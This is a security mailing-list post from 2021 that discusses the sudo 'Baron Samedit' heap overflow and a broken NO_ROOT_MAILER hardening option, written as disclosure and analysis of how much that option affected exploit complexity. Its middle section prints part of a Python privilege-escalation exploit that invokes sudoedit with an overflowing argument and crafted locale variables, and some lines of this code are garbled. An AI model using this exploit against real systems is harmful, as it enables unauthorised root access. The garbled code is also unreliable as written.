Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Mon, 15 Feb 2021 08:06:44 +0000
From: Roman Fiedler <>
Subject: Re: sudo: Ineffective NO_ROOT_MAILER and Baron Samedit

Roman Fiedler writes:
> Hello list,
> While reproducing the exploitation of "Baron Samedit" another
> minor issue in Sudo was discovered. It affects Sudo 1.9.4
> and newer and renders the "NO_ROOT_MAILER" hardening option
> useless. While this bug by itself is not known to be exploitable
> on its own, combining it with the "Baron Samedit" heap overflow
> eases exploitation of the later tremendously.
> ...

Now sudo patches are already deployed widely, so this is how
the NO_ROOT_MAILER flag influenced exploit complexity:

* With "NO_ROOT_MAILER" working using "nss_load_library" method,
e.g. implemented by blasty: main program
(140 lines with 18 lines header) and the library to be loaded
(16 lines), total 156 lines.

* Without "NO_ROOT_MAILER":
(43 lines with 18 lines header).

heraldFd =, os.O_WRONLY|os.O_CREAT|os.O_TRUNC|os.O_NOCTTY)
    b'#!/bin/sh\ncat <<EOF > /the-letter.txt\nMy dearest Baron,...\n\nWith love,\nX*96\n\nLegal disclaimer:\n\n' + bytes(disclaimer, 'utf8') + b'\nEOF\n')
os.fchmod(heraldFd, 0o755)

devNullHandle ='/dev/null', os.O_RDONLY)
letterEnv = {
    'LC_ALL': 'C.UTF-8',
    'LANGUAGE': 'A'*84}
letterArgs = [
    '/usr/bin/sudoedit', '-S', '-s', '\\',
    'X'*96 + heraldName]
process = subprocess.Popen(
    letterArgs, stdin=devNullHandle, env=letterEnv, cwd="/")

Note: I know that line numbers are not a perfect measure for
complexity, it is just a very poor approximation.

I also collected some historic information (software archeology)
on the security-ping-pong around "NO_ROOT_MAILER" feature:

Kind regads,

| |  DI Roman Fiedler
| /  roman.fiedler at  +43 677 63 29 28 29
/ |  Unparalleled IT Services e.U.     FN: 516074h           VAT: ATU75050524
| |          Felix-Dahn-Platz 4, 8010 Graz, Austria

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.